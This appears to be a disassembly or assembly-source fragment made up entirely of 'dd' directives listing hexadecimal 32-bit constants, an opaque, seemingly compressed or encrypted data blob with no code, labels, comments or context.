dd 0E7DEA261h, 0D0306068h, 15EDD303h, 0A8C93E61h, 0A19FDAh
dd 1321C748h, 57623054h, 0A65B4A09h, 9008001Ch, 56634B5h
dd 44461B93h, 14CC2091h, 0C5FE33D4h, 1801C774h, 0DCBFBD1Fh
dd 43C54FCh, 0D6A4E012h, 0F33CB86Ch, 0B02502h, 0F96A93DCh
dd 5A8201D9h, 0CE627F4Fh, 50E428C4h, 5F001210h, 6DBD979Dh
dd 0DD77Ah, 408AAD2Fh, 0D64B62E2h, 0C2EC7512h, 91E78D00h
dd 0A1B9D60h, 780E3718h, 110C0080h, 986C01EFh, 3973280Eh
dd 8DEEA15Eh, 9F60613Eh, 7EE51E20h, 81DBC067h, 0A89988B9h
dd 72362F01h, 6F119E87h, 581E96F8h, 0AC3B525Ch, 1A858A80h
dd 8E8927F0h, 93435900h, 46CB4AB8h, 22B9873h, 129DE5D3h
dd 0E3C0A5DEh, 3500881Dh, 0B9EB6EAh, 26F06024h, 11AF7C3h
dd 0C9E58A6Dh, 11EBF82Eh, 8082D33Eh, 0A54723D5h, 979EE63h
dd 4A37D629h, 85540404h, 0E10470CDh, 0FA0B8930h, 903FBB27h
dd 2EC64040h, 4B05964h, 0A4ECEBCCh, 0D300D460h, 2C424095h
dd 1E65E82h, 941BBC4Bh, 30E05871h, 0C50051C0h, 5C8E4FB8h
dd 0ECCA3B91h, 90E7055Ah, 0D6578h, 1DF4A5B0h, 0D1047D44h
dd 58C79446h, 8B17A880h, 0F6DBEEE7h, 244E4889h, 4DFC4875h
dd 3BB00100h, 0CAA010F7h, 3C307800h, 0B4BE2856h, 867E303Eh
dd 2C320898h, 100068ECh, 4647F9F8h, 0DF84A2h, 2F39741Dh
dd 0C78ABEF4h, 0A5E37700h, 61EEFCB1h, 8DD8F181h, 0EDA4AC9h
dd 0A38090A4h, 35E49F70h, 0B8CA5500h, 1A805059h, 0E99B13C0h
dd 3BCE0238h, 2CE0D16Eh, 0F2070DA6h, 0B04EE2F6h, 0EAC5A8A0h
dd 533E148Eh, 404D9E99h, 0FAB99D00h, 67C6BA68h, 3B6F7C00h
dd 7FB3C006h, 7A29003Ah, 0AF85A386h, 2CB87417h, 430AB500h
dd 0DAD35271h, 9FB4A0DFh, 0E4365073h, 8A720195h, 4883B6FDh
dd 8C15EC6Bh, 4E23Dh, 4E76E46Fh, 987A27F7h, 9CA600DCh
dd 3937F65Bh, 157F7EA0h, 0FB994A00h, 275E85Dh, 6B45002Ch
dd 0C66360CDh, 87037E59h, 1B0D69FEh, 80F9CA07h, 0B93783CCh
dd 0E3E0A7h, 276FAD4Fh, 0C295821Ah, 882B9200h, 0CDABA3DBh
dd 0CEE1C9Ch, 0F2749F6h, 8E2DF480h, 9600219Fh, 0C0661915h
dd 9A3F52Ah, 0DC67ECA6h, 0D91B6100h, 534EC865h, 0D1EC96F1h
dd 25573A81h, 3AE9AD00h, 12703732h, 140711E2h, 0E8656A92h
dd 0A4540EC0h, 97982D24h, 0EA956800h, 7E053CAFh, 0A0DCF7B5h
dd 54A66C90h, 0B2E7914h, 8A996B01h, 0D1DFE013h, 0FC429C6Eh
dd 473A465Ch, 878C00D6h, 2649E8ACh, 8B5500D4h, 0FA1797DCh
dd 5900A6C8h, 849F14AFh, 58E67FE4h, 0EE80D8F6h, 691364A3h
dd 826A5613h, 81C7A85Ch, 93F10D08h, 10ECB97Bh, 0B8B74CAFh
dd 0E1217A00h, 0F58846A1h, 19CF5600h, 0EB154217h, 0E9A2000Dh
dd 0CD04C254h, 5C00815Dh, 2CD57DDDh, 27930B9h, 0C7CFC36Ch
dd 0C60C5A9h, 0CE00CA23h, 0BCD87E83h, 0DE5181h, 0A7F0D0D9h
dd 47A1EBFCh, 0C4056900h, 9ED3D256h, 0CF1C00CCh, 0B9EE8253h
dd 3F73C0BBh, 11193D00h, 79B4675Eh, 54E475h, 0B7807C23h
dd 4C7FDB76h, 70955613h, 0C416E447h, 0B3B7FD17h, 0EFBBE8F0h
dd 4A61C9Ch, 0C3E8084h, 76AC9EEDh, 6D66CF00h, 387BFDDCh
dd 69563C99h, 2316DB80h, 7639CA27h, 0EEDFA90Ah, 0CF04B092h
dd 0D22C47B6h, 0F67A84BAh, 3722922h, 0D522C2A0h, 0B4A945E9h
dd 30CFFC74h, 7A75C00h, 75114E9Fh, 0DE830786h, 302544D8h
dd 0C329B338h, 2387D700h, 0DC7CBCC2h, 2715Eh, 2A9C917Eh
dd 0A95DD61Ah, 0B7F07500h, 5F3CD5C6h, 9D440047h, 7C09CEB8h
dd 0E703BAB6h, 764B7A32h, 0B414C0D4h, 90160529h, 0C0EAE4C0h
dd 326EFFFEh, 0F29C0C00h, 0EBD1C93Bh, 45BF0082h, 0A2EACEA1h
dd 0ED0077FDh
dd 0F9C36A91h, 7D9A1849h, 45200003h, 17F7C584h, 3E76B355h
dd 5E6DD60Fh, 1B3940FBh, 708D22EFh, 0B5E500EEh, 0AED32C73h
dd 0AD245309h, 3407CD9Ch, 9582D1E1h, 0D4D0AFh, 168F8E8Dh
dd 1D20E68Ah, 5A0040E2h, 79A15F99h, 971577h, 0FA0DEC2Bh
dd 0AC708E20h, 13C4A58h, 72887DADh, 8405896h, 1C395791h
dd 3DFF7971h, 0B6302501h, 808595BBh, 3A4E2871h, 3F95550h
dd 0C6A4B775h, 1DE370B2h, 0BDE4A0E5h, 0D6857801h, 0F05CB721h
dd 52100886h, 29F0201Fh, 84C310DCh, 7AE2AB2Ah, 3A140620h
dd 68864AFBh, 56F41A1Ch, 36F98546h, 37447959h, 8C20558Dh
dd 8C002B59h, 0B46F865Ah, 435D08h, 0B115BB75h, 0AFAA4828h
dd 0B72ABE01h, 0D7F9D862h, 0C83E488Ch, 5C3A41C0h, 811380C5h
dd 0FEE1BDDEh, 192E0004h, 0B657ACEh, 0F005088h, 14A90A06h
dd 4373E1h, 0EE492B4h, 0D204028Bh, 0D75CB600h, 0DADF537Bh
dd 303603F5h, 0F3253149h, 3F88E9A0h, 0AE95FE01h, 0BFA42FB1h
dd 3ED2DBD8h, 2587D817h, 30E1CA5Ch, 0F1D31AA1h, 7A2BA50Eh
dd 8C5960A6h, 32A4850h, 2816DC34h, 5F89A75h, 361754EDh
dd 0C8DE35C5h, 0D6800442h, 8A5EE2A9h, 2230EEE4h, 0B8501958h
dd 0B350C02Ch, 7F7D8A2h, 7B290A1Fh, 5397B283h, 412ED93Eh
dd 613DCF10h, 116A9030h, 19C44FDh, 0B749F05Fh, 9879D884h
dd 97218308h, 3C9C0540h, 0E8BCBC6h, 89F155Ch, 4780AE7Bh
dd 2F69FD9Fh, 0D75907C4h, 4F5A9432h, 0C76D2178h, 0E843FC07h
dd 31200ABDh, 0AE7FF03h, 0D7F0539Eh, 0CF1FDC4Ch, 298C2AE4h
dd 7331971h, 18369B75h, 55588168h, 5E5D003Dh, 1709834h
dd 59A46FB3h, 0D1A517BBh, 140680Ah, 56ED6C7Dh, 0B97182BDh
dd 0E4A8A400h, 0BC5C0532h, 0DA3D0Ch, 592C6A80h, 9312759Ah
dd 0A04049C1h, 0D1407EECh, 0C83C0586h, 624692DEh, 0A601261Ch
dd 8C4084E3h, 1051C52h, 0BEAB20D9h, 426134CDh, 43306684h
dd 0F060119Ch, 0E629D71h, 5E9C4B98h, 0F0803140h, 0D1C0F550h
dd 0A66FB6CBh, 79FF0020h, 0C9EDBF88h, 0DD491639h, 2FC4002Ch
dd 38C86917h, 9FE6000Fh, 36CB035Eh, 8CA455A2h, 0C7F2F37Eh
dd 0CD93C03h, 0B0C3127Ah, 0F2CCFF90h, 0DCB900DFh, 68457E61h
dd 3B54EFB1h, 5A7775B8h, 13A48950h, 0F9FDE201h, 0DC15C6A8h
dd 0C7B3819Ch, 0E05E412Ah, 455636F8h, 0F45D1C98h, 5A100320h
dd 80DE542Ah, 39ADDC91h, 8A09D0AEh, 0F000029Eh, 0BE6B231Bh
dd 8E087490h, 5DB57Bh, 0F2D74C5Fh, 0FE1F8681h, 51DF8432h
dd 416C1140h, 128FBC3Ah, 55B4E3Dh, 8161E318h, 839E7B53h
dd 70195341h, 0C3EFD02Ah, 61C60005h, 1AF1A164h, 0E0642BDh
dd 987A82B2h, 36720031h, 5FFED1B7h, 5C00ABA4h, 98C3CE6Bh
dd 597E3Dh, 689B3CFCh, 57310D61h, 8F399D62h, 0ACE4A089h
dd 14F37A3h, 3A163208h, 204D8183h, 40CD041h, 7686F0B4h
dd 683C1E84h, 0BBCB8CADh, 8A14AFF8h, 1E8803D9h, 70C73308h
dd 821175CCh, 0C0516CC0h, 70574ACDh, 8FA2A863h, 3F426E0h
dd 48AC00BEh, 5F1A0F36h, 7A017F8Ch, 0F0616933h, 0EBD8B739h
dd 9F0A048Ah, 0D0211353h, 0B3C30404h, 94C60E01h, 306C9093h
dd 0DB77E8h, 0A85B7A9Dh, 0D687451Bh, 0B8A26Ah, 6281C311h
dd 0EB5E442Ah, 5BEC2DF4h, 0EFAE4C2Ah, 3B658300h, 8A3AD5BBh
dd 0D882B432h, 9346831h, 0F1C748E2h, 73AD312h, 0E1B6F0B8h
dd 263C61CFh, 1446F03Ch, 0E587022Ch, 75BA5829h, 31991863h
dd 3AC6251h, 569D8009h, 4420B730h, 13B353A1h, 20F67482h
dd 9ED7BBC4h, 3BA72084h, 0CE86E20Ah, 95038C98h, 26331304h
dd 115C96B8h, 0ED6E8062h, 431FB3A0h, 1D1822A5h, 5FED667Bh
dd 491180DFh, 7CA8AAC2h, 0B4233F07h, 0A2C63153h, 5A8F24B1h
dd 0A9E78038h, 0B59E8D64h, 180F6A90h, 0AE40118Eh, 572AA0D4h
dd 19365FE9h, 482F6B7Bh, 7C80DA41h, 0A69876DDh, 2C7E6302h
dd 68E258EDh, 303FCD4Ch, 4629B67Bh, 130E05AEh, 6FCA4225h
dd 0F557E0D4h, 7B41B235h, 28C090D8h, 7EAD5FC9h, 4DC700D3h
dd 0A3A8B161h, 10036B26h, 6E60697Dh, 0F0082A2Bh, 0C1F50C34h
dd 9F481FACh, 166B4605h, 4C98495Dh, 68FD049Eh, 325A3C2Fh
dd 0C64420B4h, 400089FCh, 0F159103Fh, 4826A7BEh, 29F85851h
dd 1C7AA943h, 4024B372h, 87900312h, 50D99AAEh, 0D820B9F8h
dd 913B41BDh, 9C8047B0h, 0CC2F62FDh, 9E225943h, 0FCC46E00h
dd 0CEBEE771h, 15780456h, 85395C47h, 0BBC8478h, 6402BE34h
dd 6E216B9Ch, 702521B7h, 0F0179C60h, 30B061CAh, 0D2EAB210h
dd 679C3848h, 2F51DD25h, 0B245FD0Ch, 1C8812EFh, 97C1727h
dd 10FC54h, 0C1ABC6FBh, 76DE4DA5h, 36AF30C9h, 6E53C5B9h
dd 0E2512203h, 847B3Dh, 9428EFC9h, 0A133A9B3h, 9F775AECh
dd 4E0B6C92h, 136E8F61h, 7FDD90E8h, 0E7800E9h, 0F37BFE77h
dd 0EB034918h, 13A8B283h, 519900D2h, 174F0AF1h, 0FD006DD6h
dd 14A470E2h, 1A56726h, 0E48F5646h, 4A15E119h, 1C423F4h
dd 5E3F2A5Fh, 882B180Dh, 2A50744Ah, 4770C784h, 81047858h
dd 0BCEEC21Bh, 0E41DF8h, 0C1602E6Bh, 0B74C4137h, 0D900637Fh
dd 0EC65D2F6h, 1F78FB6h, 0AFF33C64h, 30DB5304h, 8B009C14h
dd 0CB9B1AF6h, 7524D9h, 1254C088h, 0FED31B0Fh, 428D269h
dd 6B605714h, 0B323A1EDh, 3071117h, 0FDED637Eh, 0ACAB52h
dd 439B2EB1h, 72188938h, 55BA8B00h, 0EA62D2C0h, 0AA66289Eh
dd 0ACD31E90h, 8C6975D4h, 3FF8CA20h, 365B8400h, 5A6A6EFCh
dd 53B0F79h, 8A229FB5h, 404370C4h, 757EF0E0h, 0FB095092h
dd 544EFEh, 0C7BB5BF9h, 0B9A20BA4h, 80843E06h, 9C416060h
dd 61F02362h, 96018911h, 4F1C9C49h, 1AA18034h, 130F8EBAh
dd 8D4800E1h, 66AB366h, 0BD01DC04h, 983AE0D3h, 0C0230795h
dd 1F30A0B2h, 0C792028Dh, 616646E2h, 0B957E0A2h, 0D813C8C0h
dd 0DB8090A9h, 0CDF007ABh, 8202DD21h, 6A64E97Dh, 5DBD87D5h
dd 2B607CD0h, 0C47CA5ABh, 0A0DD605Fh, 0F6DE03B6h, 0B17BEB99h
dd 4C0DA900h, 311CBCA9h, 74A57ACFh, 1CD5487Ch, 276C4300h
dd 993A322h, 0C8586A09h, 0F82088D9h, 0D1504826h, 5ED32367h
dd 9CED6200h, 86A4FFB3h, 770944h, 0ADF5EE1Ah, 0EAD8064Ch
dd 0B7260204h, 0C87E6Fh, 817B0985h, 3498BF09h, 840043BDh
dd 13889C12h, 906C4DDDh, 0A66B1C5Bh, 684505F3h, 30C84435h
dd 8114C758h, 7006312Eh, 6B01A67Ch, 0F642C9E9h, 8422A566h
dd 91553113h, 50547ABCh, 5C6076A0h, 0EECBD724h, 0B3CDA809h
dd 0C3F500h, 0CEF45Eh, 2A591300h, 9EF8201Ch, 0AA7B5C11h
dd 63830A00h, 0A6880110h, 19C099F8h, 18E7D851h, 0F4780033h
dd 0AA6DAB64h, 4200C786h, 38086945h, 14816843h, 0D4E5B724h
dd 50522B09h, 0D3374460h, 0FCA49FB0h, 69025D46h, 27B393EDh
dd 700010E7h, 0D985ED61h, 9C4E0E95h, 0F0421209h, 806802A6h
dd 0E82EB7BEh, 38000A0Ch, 7B35E3E1h, 0B371C297h, 3050828Ah
dd 0A070902Ah, 4A0C8100h, 0D93A0E3Ch, 57D80265h, 9552BC5Ch
dd 315D6840h, 59928A13h, 334D1892h, 3034FDE8h, 915A9C21h
dd 9A68039Bh, 0C8C931FDh, 4508DDh, 63CABECBh, 248518D8h
dd 0C7601658h, 96F1361Eh, 71D4B8B9h, 49976A7Eh, 0EB060085h
dd 4ADAA232h, 6125A100h, 97452B4h, 0F02200EAh, 1DA3D7BAh
dd 3D3B3263h, 0C4E9ABDDh, 802F6812h, 0F0078C77h, 0CEB9DA19h
dd 0B803B5B0h, 258B895h
dd 2B647C45h, 0B889084Fh, 410B0483h, 30D8C812h, 8CC15024h
dd 0F46140BBh, 2BF16072h, 0BBE0CA9h, 0A1FA1926h, 4E0F7C00h
dd 0F4903CF8h, 61D5F416h, 2F237C3Bh, 0A7AA803Dh, 0B26C7A84h
dd 0F9DF3B0Bh, 805455B8h, 6D7D00ECh, 34E8B61Eh, 21008BDAh
dd 0C5C153C8h, 1D7B70Eh, 0E526ADBFh, 0D5DB106Eh, 9BC7E4B8h
dd 0FA71890Bh, 9C204044h, 0ABD828E8h, 175946C0h, 1804ED6Dh
dd 0E4E2A507h, 0EE257C80h, 82101597h, 90138EE0h, 0D6A8C855h
dd 0B2A09AE8h, 0AB25CD60h, 3524A2C5h, 7A4BC04Eh, 0BD31C085h
dd 0E0FCB18Bh, 902FE600h, 96E1A5B9h, 0A62901BBh, 5F7FAE72h
dd 404C294Ah, 0A0440DCh, 3C85BEA5h, 345EECC0h, 0A82C4CEFh
dd 2E87147Bh, 0F33EF8B4h, 0C6B79089h, 0A6E1040h, 0AABFD804h
dd 0BC8138B8h, 7B0102B6h, 48C5105Bh, 0FBE900C4h, 495011DAh
dd 5C1CED91h, 0CC0058C7h, 35F5630Ch, 8AF91A48h, 0FCCA41AEh
dd 31EBE460h, 8357A18Bh, 7C9A1982h, 784AD937h, 3B78944Ch
dd 58F47000h, 0F0566396h, 0C6F2018Eh, 771287C0h, 5D829C8h
dd 38626B58h, 27C6E890h, 0E20C065Bh, 0E0A54AAEh, 40C0A307h
dd 0CDA06510h, 7618694Bh, 0AC622EE9h, 6AB582C4h, 44C82EAFh
dd 202C0452h, 254290A8h, 9C401891h, 69F05B16h, 9310108Bh
dd 22402C4Ch, 3F40D024h, 56E3D2h, 0A360435Fh, 65D77B09h
dd 9C01177Dh, 4E388667h, 2F008F3h, 70921683h, 0F4E82016h
dd 3902F2AEh, 20EA943Ah, 8004E3F0h, 0D52E0C4h, 6C90F658h
dd 0F7820081h, 8D00243Bh, 17705914h, 734E6BFEh, 38661E4Dh
dd 17EBD28Eh, 0DC5D08h, 0BC3506D7h, 0D4A4505Dh, 0A95FCE00h
dd 7073D95Bh, 31D00ABh, 4FBF2E83h, 0A627EC48h, 0BE740171h
dd 60FE872Fh, 0C9BCD2Ch, 0B2CC7088h, 9E13F08Ch, 3444AEBAh
dd 27406A2Eh, 6E5D63BCh, 0E9D5AF31h, 306D03D8h, 9020B451h
dd 5AE10B45h, 9C916B9Bh, 7EA5184Eh, 942F10FDh, 80A6C85Ah
dd 0EBFCCD67h, 6600440Ch, 0A117A0B8h, 0B9506309h, 0A1D00DCh
dd 0AB3EDE6Fh, 26C5E800h, 43334A61h, 47360131h, 0D4B290F5h
dd 0C31A451h, 184674h, 33DBA92Dh, 39AF813h, 7EE426B2h
dd 0A81657F2h, 8017BD7Fh, 9B230C2Fh, 65491900h, 0C52A0Fh
dd 0B44B09Ch, 0D364CDE2h, 0A8C6259h, 0B4E7133Dh, 204E1E8Fh
dd 0AEBED647h, 56F91EDDh, 0CD8080A9h, 32D0398Ch, 0C64D72Ch
dd 76E2C43Eh, 0E44A5086h, 962B01F6h, 0B4BFBE5Eh, 0CFFC41F5h
dd 0A1EC3339h, 780CA7E7h, 0C37F5498h, 4D130D80h, 0C00FC23h
dd 7917BD6h, 4C003A49h, 8F894F99h, 2E93BC0Ah, 630C63BDh
dd 4CA8D7DCh, 0B073BAF7h, 0A3411004h, 20812236h, 546802A5h
dd 0C9389081h, 38F42174h, 621309E8h, 0EA4005FEh, 0E8FCEC54h
dd 0A6008C60h, 47408BE8h, 32827520h, 7B60571Ch, 0F00014F2h
dd 4A32B65Dh, 26470B83h, 0A694EF50h, 0E200DEF8h, 1455758Fh
dd 257C2158h, 0B490E42Fh, 1200C347h, 82252939h, 0D72DCBh
dd 7E54EDC5h, 0E71F380Ch, 0C8DB122Ah, 0D92A7C14h, 987100A9h
dd 0FCFB5345h, 328CA03Ah, 7D558137h, 0BB2F00B0h, 0B6CFF9Ah
dd 312300C1h, 9E93DA88h, 0C749A8F8h, 2A668004h, 8C755E58h
dd 11F42E54h, 41001490h, 6B7CDB38h, 1244FF3h, 53B426CFh
dd 444915AFh, 0C8F810C8h, 619C42C0h, 448C79F0h, 4E589D52h
dd 0EF721FE5h, 83BB0E42h, 0C8E4E07Fh, 48035C37h, 5EC0D038h
dd 32CD42Fh, 29F15098h, 8C13E1h, 0A5F9890Dh, 310F7521h
dd 0AC336791h, 949D3059h, 0FF465E8Ch, 2F9E3300h, 67FE55ACh
dd 0EC875B1Fh, 6F7C3D02h, 4188C0DAh, 542F0163h, 1ABCD85Ah
dd 0C4147568h, 0F0A8AB7Eh, 0BEC0E2E1h, 0A043DE0Fh, 471E1EF8h
dd 503393FAh, 6C239CA0h, 669C4501h, 651841F0h, 6F4DAA88h
dd 50A5589Ch, 891485D2h, 0EB27D8DCh, 0F8FE48h, 158EC5E2h
dd 5F6EB734h, 23A42F60h, 0A66E0086h, 0EB2F5A46h, 0F8D0DA30h
dd 2AB1E9F5h, 2598F4D9h, 0E0800F13h, 60B3364h, 25DD80C4h
dd 132410F0h, 3ABE82C8h, 40523CCh, 83DF5230h, 0C6D02617h
dd 48B1B26Eh, 1B2B6403h, 0CAF10BFFh, 6869567Eh, 0D9051088h
dd 2B6D00B9h, 0CC92EEA6h, 9400F037h, 68C45C58h, 380310Eh
dd 0D876A0F2h, 39026228h, 0B1E0753Dh, 9B5881DDh, 68D22ED7h
dd 20B06ED8h, 1496A86Ch, 620465Eh, 9892B9Fh, 0D9D70A80h
dd 1BAC6F25h, 5FE27155h, 7092444h, 40797EF0h, 241C5E08h
dd 70373Bh, 4D0BBE38h, 7450B76Eh, 18B8E1B4h, 0F8994B09h
dd 7EA881A6h, 0CECC7194h, 317B2F2Eh, 0E8A24809h, 0DD003B39h
dd 0BC594BCBh, 66280FECh, 2E6C0152h, 35B28A3Dh, 0F08036D0h
dd 0B0D82E03h, 0A0AD0B24h, 889855C6h, 6001E7Eh, 400D64EFh
dd 2C953F11h, 7851B9h, 0DE19C663h, 9F4802FDh, 8C61FC98h
dd 0F4016CF6h, 0F501709Dh, 0F040B3D6h, 0B0601052h, 0B4280000h
dd 5916F626h, 1B14679Eh, 5B03E4Bh, 9F0E87FAh, 0E218AC90h
dd 7C6374ECh, 0D0B25D6Fh, 5934C809h, 0C48F0C29h, 64025288h
dd 0A03350E0h, 0BE721CE8h, 23D705C3h, 0E3D6C29Fh, 30B3A24Ch
dd 1209B67Fh, 59615731h, 824C11BCh, 0C16DFD9Bh, 70785937h
dd 0FCC369A0h, 9AA12501h, 57667EB0h, 0E39E244Eh, 5FC80D00h
dd 99C7AF9h, 9010934Dh, 757C1468h, 9A735904h, 14B95C31h
dd 205CE93Dh, 3008C70Ah, 0CBA516B4h, 0C003C85Ch, 0D30DFB0Bh
dd 0C8FEF3Fh, 503BBB2Ch, 492F6055h, 97B74F2Eh, 0EB22E50Bh
dd 0CCEB80C0h, 4A69E96Ah, 23649158h, 532680EFh, 0E8C02D68h
dd 0E84150F1h, 0C16307C8h, 0FCE5B065h, 2BE9AD31h, 5A04685Dh
dd 7D01F497h, 20390504h, 0DE4D13B0h, 0FEBA0F08h, 0A5E9803Fh
dd 42BBE6Ch, 8ABFD80Bh, 8ED4C516h, 0A92984CCh, 500FB930h
dd 25A30E1Fh, 525CC642h, 6860D828h, 0BE941A66h, 0B5DB5B80h
dd 6F327F1Eh, 9ACF8800h, 2BE382A6h, 0F9462EA3h, 0E7215E08h
dd 599482A7h, 587818BCh, 28C56226h, 28F29B12h, 0C1911A10h
dd 0F05C9C3Fh, 260BB6E9h, 0DE032694h, 0EABEEE7Ah, 0F00C482Ch
dd 999E2486h, 0AA7E09A8h, 22154061h, 309BF29Ch, 0DD006945h
dd 0EE66E486h, 918F6B4Dh, 0AC710054h, 4E8B70E3h, 0F4C43A2Ah
dd 0E5247D14h, 0F83A4EE8h, 0E001823h, 0FCA644ABh, 3695028Ch
dd 815AE14Dh, 0E283CC56h, 34756AEh, 2027F5E0h, 0A0E45B78h
dd 0A0212E78h, 0C5253Eh, 78606564h, 0C71D79Ah, 0F6F5E213h
dd 0B323E03Ah, 2231B504h, 10401CF3h, 865CC2h, 2B16A822h
dd 4C405233h, 0F7938B9Ch, 9D952ABBh, 443505DCh, 85803213h
dd 0F2A4F254h, 1301302Eh, 23346901h, 4863292Ch, 0A740222Bh
dd 0C757D8C8h, 7FAA3060h, 0C66F9BCh, 44644EA5h, 0C139F550h
dd 0A9599288h, 74669888h, 4D2A0042h, 9C8819A8h, 0A52CC689h
dd 6B44E458h, 9FF270E2h, 1880B530h, 400FD2A1h, 0A4265215h
dd 24881886h, 40D244F5h, 0F05A9DBCh, 0FEDC008Bh, 90D04D4Bh
dd 500B14FBh, 8AD6DF04h, 571D24C4h, 6F7B4831h, 0EB000439h
dd 419994Fh, 5C017AD1h, 0F5E0AD22h, 71E9590Dh, 9E085462h
dd 630E38BAh, 0B057F65Eh, 8C75E42Fh, 5354BF02h, 0F28CB4A2h
dd 0D90C604Ch, 0EF599D88h, 855E1300h, 0B0894BF9h, 5E073E6h
dd 0E3B6EC5Dh, 0C83CB4D6h, 2A63048Ch, 0BC6D5E43h, 5816B004h
dd 0F8AC002Ah, 73E3F7D1h, 0D0A1C1D6h, 421610ABh, 0D47500E2h
dd 0C71D53EFh, 6324AF91h, 8B039FFAh, 2544F2EEh, 9C4D5499h
dd 0E03F7D62h, 905C2B00h
dd 0D17C917Ch, 711886h, 86FA83Ch, 37D29F70h, 0A8A020BAh
dd 3B80E703h, 56B025A2h, 0BB1870E0h, 9EE1C605h, 0ECC142D0h
dd 1DEDBE7h, 0F5EAAFFAh, 0EC3C32h, 4E5A13D3h, 9D18356Ch
dd 0D61F34B0h, 401C8C8Ch, 989DC088h, 8CC9EA68h, 0B3D4D813h
dd 0CF749008h, 2C05ED29h, 6A0624Fh, 0ED607921h, 462FD8h
dd 64E6F062h, 269F8AE8h, 0B8804E6Ah, 1110172Fh, 6778809Fh
dd 2AB2588Bh, 0B46393h, 0E4AE56A3h, 732E17C0h, 96FF7A04h
dd 0ACBC5DB1h, 48C0CBCh, 2F61697Fh, 1CD38423h, 0D48245BCh
dd 22D0275Ch, 7040DE80h, 2184D1B9h, 8EBD169Ah, 0F65E452Ah
dd 0FA1CB438h, 5320002Ah, 8AB38B78h, 0F8926A14h, 61B1E46Eh
dd 11E15E9Ch, 0A333043Ch, 0C8C1CFF1h, 210BC5D4h, 2C352B20h
dd 4172ECF4h, 1882E8B5h, 0FDF1118h, 9047D778h, 0AEF90264h
dd 0A7DD95C6h, 7483E062h, 50150A4Bh, 4A982050h, 4D5E898h
dd 10EF03C0h, 92A8ACE1h, 41A10804h, 0EE3171Fh, 9F0902CEh
dd 143154D8h, 0CF58285Bh, 0C3838640h, 9F5A18E0h, 2A1318ADh
dd 1373FB3Eh, 8CF72342h, 0CC1007C0h, 64031396h, 0BFE49E9h
dd 0E040E334h, 1FFD8ECBh, 923952h, 174AABA8h, 3E00B16Dh
dd 6EAE151Dh, 0C9132Ah, 38644095h, 0E207D29Ah, 0BEDCFD04h
dd 0F4852F6Ch, 0B17A9404h, 0BD6FFE40h, 0D0A8CC82h, 218E9A8h
dd 8B385D60h, 1C34BEC0h, 2CB6891Ah, 1BA29CE0h, 409022Ch
dd 6B45823Eh, 4BCF7B2Dh, 9AC80A28h, 7B204CCDh, 9D327DAAh
dd 80A51198h, 4E3CA265h, 98932795h, 2919897h, 32B79181h
dd 1EE0C441h, 0AC275102h, 0B51836AEh, 0DCB48028h, 0E99D79AAh
dd 76985612h, 9F903470h, 609C49C2h, 58F4BB0Ah, 0B5D500CCh
dd 0B8B7FAF9h, 63FC201Ch, 405556CFh, 3CE2E1C4h, 86882531h
dd 1FECF4E6h, 0DA491776h, 0E8D8D494h, 0A9432Fh, 286B0612h
dd 24B2F6A3h, 84B85F51h, 0E55269Eh, 0C8CB73F9h, 67CF65C8h
dd 0DC53E0ECh, 50F290D1h, 679B1FEBh, 0B73940D9h, 46C9775Fh
dd 817C904Ch, 1BDE53F8h, 17C617F8h, 313C1D0Fh, 806B8B98h
dd 0EBA2C508h, 4CD772Eh, 0C758614Dh, 0E8F912h, 794324AAh
dd 9A1D57h, 0CCDC6E99h, 0CAD1CD8Dh, 0ABC9A91Eh, 24132B97h
dd 0B09FC8A4h, 7E42000Ch, 3C439692h, 1A976B58h, 30AC64D4h
dd 0D1692C13h, 16018FE7h, 38CA5084h, 31D0E8B2h, 8CC39F4h
dd 728B8804h, 0F198B246h, 290CA7E5h, 0BC9DEE28h, 0BEB41895h
dd 2733F0CEh, 10E8547Fh, 0E083C252h, 12E5E2F6h, 216BEC0Ah
dd 30888AC0h, 9374BD64h, 0C15A30C4h, 80E80C01h, 4C007B12h
dd 0E20939EDh, 0B27E2AFBh, 28C401B8h, 1EC8266Dh, 470B20E9h
dd 6B91BB04h, 0D0A04673h, 0A0028C4Bh, 0AC2F6EFDh, 503C745Ah
dd 0FC00C872h, 0BA34CFB3h, 69ED009h, 40C70C5Ch, 134BD05Ah
dd 131C8888h, 0B439F5B2h, 0C32989E8h, 5680C098h, 33B4AE8Fh
dd 2EE23FF3h, 0D028D580h, 769F6684h, 73F1EB07h, 45509096h
dd 0FF064AEh, 1CB729D8h, 31BFAD80h, 5094F323h, 0A8827502h
dd 18745270h, 1897B80Bh, 8D582052h, 0B0A2A40Ch, 8E300AF2h
dd 0F351099Ch, 0B40E3337h, 34DC758Bh, 0BCA0EA13h, 6A527D2Bh
dd 608C7088h, 34AEA66Bh, 22B123Fh, 7EED281Eh, 0CCE32FB0h
dd 9FE0FE3Dh, 9C2CC72Ch, 7C09549Bh, 0D9745188h, 0D5189Bh
dd 0E8375CAFh, 7AA3CC35h, 3F983051h, 0F01CA013h, 0A401C13Bh
dd 0C0A4BF13h, 3D59C07Ch, 300CC975h, 20B56703h, 0CFFA389Bh
dd 36452900h, 0A3D7BBBAh, 14318E01h, 0D6B26E6Bh, 4D7A8424h
dd 53967C80h, 423CE7DCh, 30B3A26Ch, 6D547AEAh, 7B7644ACh
dd 14484B00h, 6EF5D4BAh, 5D8FE52h, 0FE4C54EAh, 0C3D40B59h
dd 74607CCDh, 0E49B086Ch, 0BB4C6Eh, 4166C899h, 88B48A0h
dd 9ED7211Fh, 0FB222840h, 0D91009BFh, 0E89188h, 0DB13F49Eh
dd 0DC004DDEh, 6D49F106h, 5A540227h, 5E89FC9h, 3D40A476h
dd 4872AFDh, 0E4513891h, 31708C7Ch, 2C97644Bh, 0C2E38BFFh
dd 6BB4309Ch, 272A39A1h, 2F4A40CCh, 0A92B107Ch, 2DAC65C1h
dd 0F05430E3h, 85A16E12h, 501A7C0Bh, 821512F0h, 0EA584184h
dd 83DEF6D4h, 0BFC47988h, 94A0AD40h, 0E29B8B3Ah, 0DA312689h
dd 7865054h, 0F021B66Eh, 987C0088h, 0CD0BC73Ah, 58A0E715h
dd 0FB0044A5h, 0EB2A68F8h, 7A3B64Bh, 0ABA7453Ch, 0F76F3014h
dd 0A19F7B39h, 0C6F9B988h, 8651FCh, 0C735086Dh, 0F08E22BBh
dd 5E6ACD00h, 61E67533h, 0FC24E99Eh, 80F8BE16h, 0D6BFA3ADh
dd 60037328h, 9F79641Bh, 50FC5475h, 0F4917Ah, 506BEA3Dh
dd 0F002D872h, 68016A74h, 0D63C7616h, 0BD68100h, 0FB78D48Fh
dd 639C04EAh, 0D9B2CA80h, 302F6F70h, 5F000623h, 0FDDA4A2Fh
